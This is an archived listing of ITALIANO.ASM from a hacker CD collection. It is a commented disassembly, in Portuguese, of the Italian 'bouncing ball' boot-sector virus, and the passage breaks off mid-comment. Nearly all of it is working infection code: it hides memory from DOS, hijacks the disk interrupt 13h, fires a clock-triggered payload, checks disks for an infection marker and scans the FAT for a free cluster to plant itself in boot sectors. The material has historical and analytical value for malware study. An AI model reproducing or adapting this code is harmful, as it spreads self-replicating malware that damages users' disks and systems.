home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / ITALIANO.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  13KB  |  457 lines

  1. ; **************************************************
  2. ; ***   VIRUS ITALIANO SALTITANTE - A LISTAGEM   ***
  3. ; *** Desassemblagem obtida por Miguel Vitorino  ***
  4. ; ***    Para : S P O O L E R - Junho de 1989    ***
  5. ; **************************************************
  6.  
  7. .RADIX 16
  8.  
  9. jmpf    macro    x
  10.     db    0eah
  11.     dd    x
  12. endm
  13.  
  14. Virus       SEGMENT
  15. assume    cs:virus;ds:virus
  16.  
  17. jmpf    MACRO    x
  18.     db    0eah
  19.     dd    x
  20. ENDM
  21.  
  22. org 0100h
  23.  
  24. begin:    jmp    short entry
  25.  
  26.         db    1eh-2 dup (?)        ; Informacao relativa a' disquete
  27.  
  28. entry:    xor    ax,ax
  29.         mov    ss,ax
  30.         mov    sp,7c00                 ; Colocar o Stack antes do inicio do
  31.         mov    ds,ax                ; virus 
  32.         mov    ax,ds:[0413]               ; Retirar 2 K como se nao existissem
  33.         sub    ax,2                ; para que o DOS nao la' chegue !
  34.         mov    ds:[0413],ax
  35.         mov    cl,06                   ; Converter o tamanho da RAM num 
  36.         shl    ax,cl                   ; numero de segmento que se situa nos
  37.         sub    ax,07c0                 ; 2 ultimos K
  38.         mov    es,ax                   ; De seguida passar este programa
  39.         mov    si,7c00                 ; para esse sitio de memoria
  40.         mov    di,si                   ; ( i.e. o programa transfere-se a si
  41.         mov    cx,0100                 ;  proprio )
  42.         repz    movsw    
  43.         mov    cs,ax                   ; Transferencia de controlo para ai!
  44.         push    cs                      ; Agora sim , ja' estamos nos tais 2K
  45.         pop    ds
  46.         call    reset                   ; fazer duas vezes um "reset" ao
  47. reset:    xor    ah,ah                   ; controlador de disco
  48.         int    13
  49.         and    byte ptr ds:drive,80
  50.         mov    bx,ds:sector        ; Sector onde esta' o resto do virus
  51.         push    cs
  52.         pop    ax
  53.         sub    ax,0020
  54.         mov    es,ax
  55.         call    ler_sector            ; Ler o resto do virus da drive
  56.         mov    bx,ds:sector
  57.         inc    bx
  58.         mov    ax,0ffc0            ; Carregar o sector de boot original
  59.         mov    es,ax
  60.         call    ler_sector
  61.         xor    ax,ax
  62.         mov    ds:estado,al
  63.         mov    ds,ax
  64.         mov    ax,ds:[004c]        ; "Confiscar" o interrupt 13
  65.         mov    bx,ds:[004e]        ; ( operacoes sobre disquetes/discos )
  66.         mov    word ptr ds:[004c],offset int_13
  67.         mov    ds:[004e],cs
  68.         push    cs
  69.         pop    ds
  70.         mov    word ptr ds:velho_13,ax    ; Guardar a velha rotina do int. 13
  71.         mov    word ptr ds:velho_13+2,bx
  72.         mov    dl,ds:drive
  73.           jmpf    0:7c00            ; Efectuar o arranque do sistema
  74.  
  75. Esc_Sector    proc    near
  76.         mov    ax,0301            ; Escrever um sector da drive 
  77.         jmp    short cs:transferir
  78. Esc_Sector    endp
  79.  
  80. Ler_Sector    proc  near
  81.             mov    ax,0201            ; Ler um sector da drive
  82. Ler_Sector    endp
  83.  
  84. Transferir  proc  near                ; Efectuar uma transferencia de dados
  85.           xchg    ax,bx                ; de ou para a drive
  86.         add    ax,ds:[7c1c]            ; Este procedimento tem como entrada
  87.         xor    dx,dx                ; o numero do sector pretendido ( BX )
  88.         div    ds:[7c18]               ; e de seguida sao feitas as contas 
  89.         inc    dl                ; para saber qual a pista e o lado 
  90.         mov    ch,dl                ; onde esse sector fica
  91.         xor    dx,dx
  92.         div    ds:[7c1a]
  93.         mov    cl,06
  94.         shl    ah,cl
  95.         or    ah,ch
  96.         mov    cx,ax
  97.         xchg    ch,cl
  98.         mov    dh,dl
  99.         mov    ax,bx                ; Depois de todas as contas feitas 
  100. transf:    mov    dl,ds:drive            ; pode-se chamar o interrupt 13H
  101.         mov    bx,8000            ; es:bx = end. de transferencia
  102.         int    13
  103.         jnb    trans_exit
  104.         pop    ax
  105. trans_exit:    ret    
  106. Transferir    endp
  107.  
  108. Int_13    proc    near                ; Rotina de atendimento ao int. 13H
  109.         push    ds                ; (operacoes sobre discos e disquetes)
  110.         push    es
  111.         push    ax
  112.         push    bx
  113.         push    cx
  114.         push    dx
  115.         push    cs
  116.         pop    ds
  117.         push    cs
  118.         pop    es
  119.         test    byte ptr ds:estado,1    ; Testar se se esta' a ver se o virus
  120.         jnz    call_BIOS            ; esta' no disco
  121.         cmp    ah,2
  122.         jnz    call_BIOS
  123.         cmp    ds:drive,dl            ; Ver se a ultima drive que foi 
  124.         mov    ds:drive,dl            ; mexida e' igual a' drive onde
  125.         jnz    outra_drv            ; se vai mexer
  126.         xor    ah,ah                ; Neste momento vai-se tirar a' sorte
  127.         int    1a                ; para ver se o virus fica activo 
  128.         test    dh,7f                ; Isto e' feito a partir da leitura
  129.         jnz    nao_desp            ; da hora e se for igual a um dado
  130.             test  dl,0f0            ; numero , o virus e' despoletado
  131.             jnz   nao_desp
  132.             push  dx                ; Instalar o movimento da bola
  133.             call  despoletar
  134.             pop   dx
  135. nao_desp:    mov   cx,dx
  136.             sub    dx,ds:semente
  137.         mov    ds:semente,cx
  138.         sub    dx,24
  139.         jb    call_BIOS
  140. outra_drv:    or    byte ptr ds:estado,1    ; Indicar que se esta' a testar a 
  141.         push    si                ; presenca ou nao do virus na drive
  142.         push    di
  143.         call    contaminar
  144.         pop    di
  145.         pop    si
  146.         and    byte ptr ds:estado,0fe    ; Indicar fim de teste de virus
  147. call_BIOS:    pop    dx
  148.         pop    cx
  149.         pop    bx
  150.         pop    ax
  151.         pop    es
  152.         pop    ds
  153. Velho_13    equ    $+1
  154.         jmpf    0:0
  155. Int_13    endp
  156.  
  157. Contaminar    proc    near
  158.         mov    ax,0201
  159.         mov    dh,0
  160.         mov    cx,1
  161.         call    transf
  162.         test    byte ptr ds:drive,80    ; Pediu-se um reset a' drive ?
  163.         jz    testar_drv            ; Sim , passar a' contaminacao directa
  164.         mov    si,81be
  165.         mov    cx,4
  166. proximo:    cmp    byte ptr [si+4],1
  167.         jz    ler_sect
  168.         cmp    byte ptr [si+4],4
  169.         jz    ler_sect
  170.         add    si,10
  171.         loop    proximo
  172.         ret
  173.  
  174. ler_sect:    mov    dx,[si]            ; Cabeca+drive
  175.         mov    cx,[si+2]            ; Pista+sector inicial
  176.         mov    ax,0201            ; Ler esse sector
  177.         call    transf
  178. testar_drv:    mov    si,8002            ; Comparar os 28 primeiros bytes para
  179.         mov    di,7c02            ; ver se o sector de boot e' o mesmo
  180.         mov    cx,1c                ; i.e. ver se a drive ja' foi virada !
  181.         repz    movsb
  182.         cmp    word ptr ds:[offset flag+0400],1357
  183.         jnz    esta_limpa
  184.         cmp    byte ptr ds:flag_2,0
  185.         jnb    tudo_bom
  186.         mov    ax,word ptr ds:[offset prim_dados+0400]
  187.         mov    ds:prim_dados,ax        ; Se chegar aqui entao a disquete ja'
  188.         mov    si,ds:[offset sector+0400] ; esta' contaminada !
  189.         jmp    infectar    
  190. tudo_bom:    ret
  191.  
  192. ; Neste momento descobriu-se uma disquete nao contaminada ! Vai-se agora 
  193. ; proceder a' respectiva contaminacao !
  194.  
  195. esta_limpa:    cmp    word ptr ds:[800bh],0200; Bytes por sector
  196.         jnz    tudo_bom
  197.         cmp    byte ptr ds:[800dh],2    ; Sectores por cluster
  198.         jb    tudo_bom
  199.         mov    cx,ds:[800e]        ; Sectores reservados
  200.         mov    al,byte ptr ds:[8010]    ; Numero de FAT's
  201.         cbw
  202.         mul    word ptr ds:[8016]    ; Numero de sectores de FAT
  203.         add    cx,ax
  204.         mov    ax,' '
  205.         mul    word ptr ds:[8011]    ; Numero de entradas na root
  206.         add    ax,01ff
  207.         mov    bx,0200
  208.         div    bx
  209.         add    cx,ax
  210.         mov    ds:prim_dados,cx
  211.         mov    ax,ds:[7c13]        ; Numero de sectores da drive
  212.         sub    ax,ds:prim_dados
  213.         mov    bl,byte ptr ds:[7c0dh]    ; Numero de sectores por cluster
  214.         xor    dx,dx
  215.         xor    bh,bh
  216.         div    bx
  217.         inc    ax
  218.         mov    di,ax
  219.         and    byte ptr ds:estado,0fbh    ; Se o numero de clusters dor superior
  220.         cmp    ax,0ff0            ; a 0FF0 entao cada entrada na FAT sao
  221.         jbe    sao_3                ; 4 nibbles senao sao 3
  222.         or    byte ptr ds:estado,4    ; 4 = disco duro ?
  223. sao_3:    mov    si,1                ; Escolher sector a infectar
  224.         mov    bx,ds:[7c0e]        ; Numero de sectores reservados
  225.         dec    bx
  226.         mov    ds:inf_sector,bx        ; Sector a infectar
  227.         mov    byte ptr ds:FAT_sector,0fe
  228.         jmp    short continua
  229.  
  230. Inf_Sector    dw    1    ; Sector a infectar
  231. Prim_Dados  dw    0c    ; Numero do primeiro sector de dados
  232. Estado    db    0    ; Estado actual do virus (instalado/nao instalado,etc)
  233. Drive        db    1    ; Drive onde se pediu uma accao
  234. Sector    dw    0ec    ; Sector auxiliar para procura do virus
  235. Flag_2    db    0    ; Estes proximos valores servem para ver se o virus
  236. Flag        dw    1357    ; ja' esta' ou nao presente numa drive , bastando
  237.         dw    0aa55 ; comparar se estes valores batem certos para o saber
  238.  
  239. continua:    inc    word ptr ds:inf_sector
  240.         mov    bx,ds:inf_sector
  241.         add    byte ptr ds:[FAT_sector],2
  242.         call    ler_sector
  243.         jmp    short    l7e4b
  244.  
  245. ; Este pequeno pedaco de programa o que faz e' percorrer a FAT que ja' esta' na
  246. ; memo'ria e procurar ai um cluster livre para colocar nesse sitio o resto do 
  247. ; virus
  248.  
  249. verificar:    mov    ax,3                ; Media descriptor + ff,ff
  250.         test    byte ptr ds:estado,4    ; disco duro ?
  251.         jz    l7e1d
  252.         inc    ax                ; Sim , FAT comeca 1 byte mais adiante
  253. l7e1d:    mul    si                ; Multiplicar pelo numero do cluster
  254.         shr    ax,1
  255.         sub    ah,ds:FAT_sector
  256.         mov    bx,ax
  257.         cmp    bx,01ff
  258.         jnb    continua
  259.         mov    dx,[bx+8000]        ; Ler a entrada na FAT
  260.         test    byte ptr ds:estado,4
  261.         jnz    l7e45
  262.         mov    cl,4
  263.         test    si,1
  264.         jz    l7e42
  265.         shr    dx,cl
  266. l7e42:    and    dh,0f
  267. l7e45:    test    dx,0ffff            ; Se a entrada na FAT for zero,entao
  268.         jz    l7e51                ; descobriu-se um cluster para por o
  269. l7e4b:    inc    si                ; virus , senao passa-se ao proximo
  270.         cmp    si,di                ; cluster ate' achar um bom
  271.         jbe    verificar
  272.         ret
  273.  
  274. ; Ja' foi descoberto qual o cluster a infectar ( registo BX ) , agora vai-se 
  275. ; procede